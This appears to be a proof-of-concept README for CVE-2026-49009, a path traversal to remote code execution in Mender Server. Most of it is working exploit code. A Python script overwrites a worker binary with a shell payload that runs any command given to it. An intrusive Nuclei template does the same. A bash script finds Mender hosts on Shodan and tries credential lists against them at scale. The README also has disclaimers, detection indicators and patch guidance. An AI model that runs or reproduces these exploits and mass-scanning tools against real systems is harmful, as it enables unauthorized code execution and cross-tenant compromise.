
Mender Server - Authenticated Path Traversal to RCE
CVE-2026-49009 — Mender Server Authenticated Path Traversal to Remote Code Execution
Discovered by j0xh-sec via HackerOne · PoC by INTELEON404
Mender Server versions ≤4.1.0 and ≤4.0.1 contain an authenticated path traversal vulnerability in the single-file artifact generation API endpoint. An attacker supplying ../ sequences in the filename field can overwrite /usr/bin/mender-artifact inside the create-artifact-worker container. When the next workflow step invokes this binary, arbitrary commands execute as code.
In multi-tenant Hosted Mender environments, the shared worker container processes artifacts for all tenants — enabling cross-tenant compromise.
The /api/management/v1/deployments/artifacts/generate endpoint accepts a filename field within a JSON args parameter. This value is used to construct the on-disk write path during artifact generation. Path traversal sequences (../) are not sanitized, allowing the attacker-controlled value to escape the intended upload directory.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. AUTHENTICATE │
│ POST /api/management/v1/useradm/auth/login │
│ Authorization: Basic <base64(user:pass)> │
│ ──────────────────────────────────────────────────────► │
│ 200 OK + JWT token │
│ │
│ 2. SUBMIT TRAVERSAL PAYLOAD │
│ POST /api/management/v1/deployments/artifacts/generate │
│ Authorization: Bearer <JWT> │
│ args.filename = "../../../../usr/bin/mender-artifact" │
│ file = <shell script payload> │
│ ──────────────────────────────────────────────────────► │
│ 202 Accepted + Location │
│ │
│ 3. WORKER CONTAINER WRITES FILE │
│ /usr/bin/mender-artifact ← attacker payload │
│ │
│ 4. NEXT WORKFLOW TRIGGER │
│ create-artifact-worker invokes /usr/bin/mender-artifact │
│ ──────────────────────────────────────────────────────► │
│ REMOTE CODE EXECUTION │
└─────────────────────────────────────────────────────────────────┘
Authorization required. Run only against systems you own or have explicit written permission to test.
#!/usr/bin/env python3
"""
CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE
Discovered by: j0xh-sec (HackerOne)
PoC by: INTELEON404 (Authorized security assessment)
"""
import argparse
import base64
import json
import re
import sys
import time
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-49009 — Mender Server Authenticated Path Traversal to RCE",
epilog="Discovered by j0xh-sec | PoC by INTELEON404"
)
parser.add_argument("-t", "--target", required=True, help="Base URL, e.g. https://mender.local")
parser.add_argument("-u", "--username", required=True, help="Mender username / email")
parser.add_argument("-p", "--password", required=True, help="Mender password")
parser.add_argument("-c", "--command", required=True, help="Command to execute")
return parser.parse_args()
def banner():
print("\n[ CVE-2026-49009 ] Mender Server Path Traversal → RCE")
print("[ Discovered by j0xh-sec | PoC by INTELEON404 ]\n")
def build_payload(command: str) -> bytes:
"""Encode command as base64 shell script; preserves mender-artifact stdin passthrough."""
encoded = base64.b64encode(command.encode()).decode()
return f"""#!/bin/sh
# CVE-2026-49009 payload — INTELEON404
CMD_B64="{encoded}"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"
""".encode()
def main():
args = parse_args()
banner()
target = args.target.rstrip("/")
if not target.startswith(("http://", "https://")):
target = "https://" + target
host = target.split("://")[1].split("/")[0]
print(f"[*] Target : {target}")
print(f"[*] User : {args.username}")
# ── Step 1: Authenticate ──────────────────────────────────────────────
print("[*] Authenticating...")
try:
r = requests.post(
f"{target}/api/management/v1/useradm/auth/login",
auth=(args.username, args.password),
headers={"Host": host, "Content-Type": "application/json"},
data="{}",
verify=False,
timeout=30,
)
if r.status_code != 200:
raise RuntimeError(f"Login failed (HTTP {r.status_code}): {r.text.strip()}")
jwt = r.text.strip()
print("[+] JWT obtained")
except requests.RequestException as e:
raise RuntimeError(f"Connection error during login: {e}")
# ── Step 2: Submit traversal payload ─────────────────────────────────
print("[*] Submitting path traversal payload...")
artifact_name = f"rce-poc-{int(time.time())}"
args_json = {
"filename": "../../../../usr/bin/mender-artifact",
"dest_dir": "/opt/mender/app",
"software_name": "demo",
"software_version": "1",
}
files = {
"name": (None, artifact_name),
"description": (None, "CVE-2026-49009 PoC"),
"type": (None, "single-file"),
"device_types_compatible": (None, "qemu"),
"args": (None, json.dumps(args_json), "application/json"),
"file": ("payload.sh", build_payload(args.command), "application/octet-stream"),
}
try:
r = requests.post(
f"{target}/api/management/v1/deployments/artifacts/generate",
headers={"Host": host, "Authorization": f"Bearer {jwt}"},
files=files,
verify=False,
timeout=60,
allow_redirects=False,
)
except requests.RequestException as e:
raise RuntimeError(f"Connection error during exploit: {e}")
location = r.headers.get("Location", "")
if not location:
print(f"[!] HTTP {r.status_code} — no Location header returned")
print(f"[!] Response: {r.text[:500]}")
print("[-] Target may be patched (≥ 4.1.1 / 4.0.2) or credentials lack permissions")
sys.exit(1)
job_id = re.search(r"/([^/]+)$", location).group(1)
print(f"[+] Workflow submitted — Job ID: {job_id}")
print(f"[+] Payload : {args.command}")
print("\n[*] Command executes inside the worker container when the workflow completes.")
if __name__ == "__main__":
try:
main()
except RuntimeError as e:
print(f"\n[!] ERROR: {e}", file=sys.stderr)
sys.exit(1)
except KeyboardInterrupt:
print("\n[*] Interrupted")
sys.exit(130)
id: CVE-2026-49009
info:
name: Mender Server - Authenticated Path Traversal to RCE Detection
author: j0xh-sec
severity: medium
description: |
Mender Server versions 4.1.0, 4.0.1, and below are vulnerable to an authenticated path traversal in the single-file artifact generation API endpoint. An attacker with a valid user account can supply a filename containing traversal sequences, causing the uploaded file payload to be written outside the intended directory.
impact: |
Successful exploitation gives an authenticated attacker remote code execution inside the create-artifact-worker container.
remediation: |
Upgrade to Mender Server 4.1.1, 4.0.2, or later. Affected versions include all releases prior to and including 4.1.0 and 4.0.1 for both Mender Server Community (Open Source) and Mender Server Enterprise.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-49009
- https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-49009
cwe-id: CWE-22
metadata:
verified: true
max-request: 1
vendor: northern.tech
product: mender_server
shodan-query: http.title:"Mender"
fofa-query: title="Mender"
tags: cve,cve2026,mender,path-traversal,rce,authenticated
http:
- raw:
- |+
POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
cve-scan-{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="description"
CVE-2026-49009 verification
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="type"
single-file
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="device_types_compatible"
qemu
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="args"
Content-Type: application/json
{"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="file"; filename="payload.sh"
Content-Type: application/octet-stream
#!/bin/sh
echo
------WebKitFormBoundary{{randstr}}--
matchers-condition: or
matchers:
# If the instance responds with a 400 Bad Request indicating a parsing error or
# schema validation failure specifically from the deployment service, the path exists.
- type: dsl
dsl:
- "status_code == 400"
- "contains(body, 'deployment') || contains(body, 'artifact')"
condition: and
# Secure setups or unauthenticated attempts to reach this deep API route will
# typically return a 401 Unauthorized, validating endpoint presence but blocking access.
- type: dsl
dsl:
- "status_code == 401"
- "contains(body, 'unauthorized') || contains(body, 'jwt')"
condition: or
Chains ShodanX reconnaissance with Nuclei scanning to discover and assess Mender Server instances at scale.
Phases:
http.title:"Mender", extracts IP:port pairs#!/bin/bash
set -euo pipefail
RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'
CYAN='\033[0;36m'; BOLD='\033[1m'; NC='\033[0m'
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
TIMESTAMP="$(date +%Y%m%d_%H%M%S)"
OUTPUT_DIR="${SCRIPT_DIR}/cve-2026-49009-scan-${TIMESTAMP}"
SHODAN_QUERY='http.title:"Mender"'
PAGES=3
RATE=50
NO_SHODAN=false
CREDS_ARRAY=()
usage() {
cat <<EOF
Usage: $0 [options]
-u, --username Mender username
-P, --password Mender password
-c, --creds Credentials file (username:password, one per line)
-q, --query Shodan query (default: http.title:"Mender")
-o, --output Output directory
-p, --pages Shodan result pages (default: 3)
-r, --rate Nuclei rate limit (default: 50)
-n, --no-shodan Skip ShodanX discovery
-t, --targets Target file (used with --no-shodan)
-h, --help Show this help
EOF
exit 0
}
while [[ $# -gt 0 ]]; do
case "$1" in
-q|--query) SHODAN_QUERY="$2"; shift 2 ;;
-o|--output) OUTPUT_DIR="$2"; shift 2 ;;
-p|--pages) PAGES="$2"; shift 2 ;;
-u|--username) USERNAME="$2"; shift 2 ;;
-P|--password) PASSWORD="$2"; shift 2 ;;
-c|--creds) CREDS_FILE="$2"; shift 2 ;;
-n|--no-shodan) NO_SHODAN=true; shift ;;
-t|--targets) TARGETS_FILE="$2"; shift 2 ;;
-r|--rate) RATE="$2"; shift 2 ;;
-h|--help) usage ;;
*) echo "Unknown option: $1"; usage ;;
esac
done
check_deps() {
command -v shodanx &>/dev/null || {
echo "[*] Installing ShodanX..."
pip install git+https://github.com/RevoltSecurities/ShodanX --quiet
}
command -v nuclei &>/dev/null || {
echo "[!] Nuclei not found. Install: go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest"
exit 1
}
}
write_template() {
cat > "${OUTPUT_DIR}/CVE-2026-49009.yaml" << 'TMPL'
id: CVE-2026-49009
info:
name: Mender Server - Authenticated Path Traversal to RCE
author: j0xh-sec
severity: critical
description: Mender Server <=4.1.0/4.0.1 authenticated path traversal to RCE.
remediation: Upgrade to 4.1.1 or 4.0.2.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-49009
- https://mender.io/blog/cve-2026-49009-cve-2026-33552-input-sanitization-and-access-control-issues-in-mender-server
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9.9
cve-id: CVE-2026-49009
cwe-id: CWE-22
metadata:
verified: true
max-request: 2
vendor: northern.tech
product: mender_server
tags: cve,cve2026,mender,path-traversal,rce,authenticated,intrusive
http:
- raw:
- |+
POST /api/management/v1/useradm/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Authorization: Basic {{base64('{{username}}:{{password}}')}}
{}
- |+
POST /api/management/v1/deployments/artifacts/generate HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{jwt}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
cve-poc-{{randhex_6}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="args"
Content-Type: application/json
{"filename":"../../../../usr/bin/mender-artifact","dest_dir":"/opt/mender/app","software_name":"demo","software_version":"1"}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="file"; filename="payload.sh"
Content-Type: application/octet-stream
#!/bin/sh
/usr/bin/id>/tmp/.cve-2026-49009
------WebKitFormBoundary{{randstr}}--
extractors:
- type: regex
name: jwt
part: body
internal: true
regex:
- "([A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)"
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'len(jwt) > 100'
- 'status_code_2 >= 200 && status_code_2 < 300'
- 'contains(to_string(header_2_all), "Location")'
condition: and
TMPL
echo "[+] Nuclei template written: ${OUTPUT_DIR}/CVE-2026-49009.yaml"
}
shodanx_discover() {
echo "[*] ShodanX discovery: ${SHODAN_QUERY} (pages: ${PAGES})"
mkdir -p "${OUTPUT_DIR}"
shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
--output "${OUTPUT_DIR}/shodanx-raw.txt" --format json 2>/dev/null || \
shodanx search --query "${SHODAN_QUERY}" --pages "${PAGES}" \
--output "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null || true
if jq -r '.[] | "\(.ip_str):\(.port // "443")"' "${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | \
grep -v '^:$\|^null' | sort -u > "${OUTPUT_DIR}/targets.txt" 2>/dev/null; then
:
else
grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+(:[0-9]+)?' \
"${OUTPUT_DIR}/shodanx-raw.txt" 2>/dev/null | sort -u > "${OUTPUT_DIR}/targets.txt" || true
fi
echo "[+] $(wc -l < "${OUTPUT_DIR}/targets.txt" 2>/dev/null || echo 0) targets discovered"
}
nuclei_scan() {
[[ ! -s "${OUTPUT_DIR}/targets.txt" ]] && { echo "[!] No targets to scan"; return; }
echo "[*] Running Nuclei scan (rate: ${RATE})..."
for cred in "${CREDS_ARRAY[@]}"; do
nuclei -silent \
-t "${OUTPUT_DIR}/CVE-2026-49009.yaml" \
-l "${OUTPUT_DIR}/targets.txt" \
-var "USERNAME=${cred%%:*}" \
-var "PASSWORD=${cred#*:}" \
-rate-limit "${RATE}" \
-jsonl \
-o "${OUTPUT_DIR}/nuclei-results.json" \
-timeout 15 -retries 2 -irr 2>/dev/null
done
if [[ -f "${OUTPUT_DIR}/nuclei-results.json" ]]; then
COUNT=$(wc -l < "${OUTPUT_DIR}/nuclei-results.json")
echo "[+] ${COUNT} vulnerability(ies) confirmed"
jq -r '.["matched-at"] // .host // empty' "${OUTPUT_DIR}/nuclei-results.json" 2>/dev/null | \
sort -u > "${OUTPUT_DIR}/vulnerable-hosts.txt"
else
echo "[-] No vulnerabilities found or no results returned"
fi
}
main() {
check_deps
mkdir -p "${OUTPUT_DIR}"
write_template
if $NO_SHODAN; then
[[ -n "${TARGETS_FILE:-}" && -f "$TARGETS_FILE" ]] && \
cp "$TARGETS_FILE" "${OUTPUT_DIR}/targets.txt" || \
{ echo "[!] --no-shodan requires --targets <file>"; exit 1; }
else
shodanx_discover
fi
if [[ -n "${USERNAME:-}" && -n "${PASSWORD:-}" ]]; then
CREDS_ARRAY=("${USERNAME}:${PASSWORD}")
elif [[ -n "${CREDS_FILE:-}" ]]; then
while IFS=':' read -r u p; do
[[ -n "$u" && -n "$p" ]] && CREDS_ARRAY+=("${u}:${p}")
done < "$CREDS_FILE"
else
echo "[!] Credentials required: use -u/-P, -c <file>, or set MENDER_USERNAME/MENDER_PASSWORD"
exit 1
fi
nuclei_scan
echo "[+] Scan complete. Results in: ${OUTPUT_DIR}/"
}
main
python3 cve-2026-49009.py \
-t https://mender-server.local \
-u [email protected] \
-p 's3cret!' \
-c 'id > /tmp/pwned.txt'
nuclei -t CVE-2026-49009.yaml \
-u https://mender-server.local \
-var [email protected] \
-var PASSWORD='s3cret!'
# Full automatic scan (ShodanX + Nuclei)
./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword'
# Credential rotation from file
./cve-2026-49009-scanner.sh -c creds.txt
# Skip discovery, scan known targets
./cve-2026-49009-scanner.sh -n -t targets.txt -u [email protected] -P 'YourPassword'
# Extended scan
./cve-2026-49009-scanner.sh -u [email protected] -P 'YourPassword' -p 10 -r 150
| Indicator | Description |
|---|---|
POST to artifacts/generate | With args JSON containing ../ sequences |
| Auth + upload pair | Basic auth login immediately followed by multipart upload from same source IP |
The template returns a positive result when:
POST /useradm/auth/login → HTTP 200 + valid JWT (> 100 chars)POST /artifacts/generate → HTTP 2xx + Location header presentA patched server (≥ 4.1.1 / 4.0.2) rejects the traversal path with HTTP 4xx at step 2.
| Date | Event |
|---|---|
| 2026-04-01 | Mender Server 4.1.1 / 4.0.2 released with fix |
| 2026-05-27 | CVE published; advisory released by Northern.tech |
| 2026-05-27 | PoC published by INTELEON404 |
[!WARNING] For authorized security testing and educational purposes only.
This proof of concept is intended strictly for use against systems you own or have received explicit written permission to test. Unauthorized access to computer systems is illegal under the Computer Fraud and Abuse Act (CFAA), the Computer Misuse Act (CMA), and equivalent legislation worldwide.
The authors accept no liability for misuse, damage, or illegal activities arising from this material.
Discovered by j0xh-sec via HackerOne · Responsible disclosure to Northern.tech
PoC by INTELEON404 · Authorized security assessment
| Field | Detail |
|---|
| CVE ID | CVE-2026-49009 |
| CVSS Score | 9.9 Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Affected Product | Northern.tech Mender Server (Community & Enterprise) |
| Discovered By | j0xh-sec via HackerOne (responsible disclosure) |
| PoC Author | INTELEON404 — Authorized security assessment |
| CVE Published | 2026-05-27 |
| Patch Released | 2026-04-01 (Mender Server 4.1.1 / 4.0.2) |
| Product | Vulnerable Versions | Patched Version |
|---|
| Mender Server (Community) | ≤ 4.1.0, ≤ 4.0.1 | 4.1.1, 4.0.2 |
| Mender Server (Enterprise) | ≤ 4.1.0, ≤ 4.0.1 | 4.1.1, 4.0.2 |
| Hosted Mender | All (before patch) | Auto-patched |
| Factor | Explanation |
|---|
| Unsanitized path | ../../../../usr/bin/mender-artifact escapes the intended /opt/mender/app/ destination |
| Asynchronous processing | The create-artifact-worker writes the file asynchronously, before any downstream validation |
| Binary hijack | Subsequent workflow steps invoke /usr/bin/mender-artifact as part of normal operation |
| Container reuse | In multi-tenant deployments, the same worker container processes artifacts for all tenants |
| Dependency | Install |
|---|
| Python 3.8+ | apt install python3 python3-pip |
requests / urllib3 | pip install requests urllib3 |
| Nuclei | go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest |
| ShodanX (optional) | pip install git+https://github.com/RevoltSecurities/ShodanX |
| Indicator | Description |
|---|
Location header after traversal filename | Server returns Location after accepting ../-containing filename |
| Suspicious artifact names | Patterns: cve-poc-*, rce-poc-*, pwn-* |
| Modified binary timestamp | /usr/bin/mender-artifact timestamp changed inside worker container |
| Unexpected worker output | Container logs showing commands unrelated to artifact processing |
| Priority | Action |
|---|
| Immediate | Upgrade to Mender Server 4.1.1 or 4.0.2 |
| Compensating control | Enable cryptographic artifact signing — devices reject tampered artifacts |
| Workaround | Restrict API access to trusted networks; disable artifact generation if unused |
| Audit | Review logs for artifact generation requests with unusual filename values |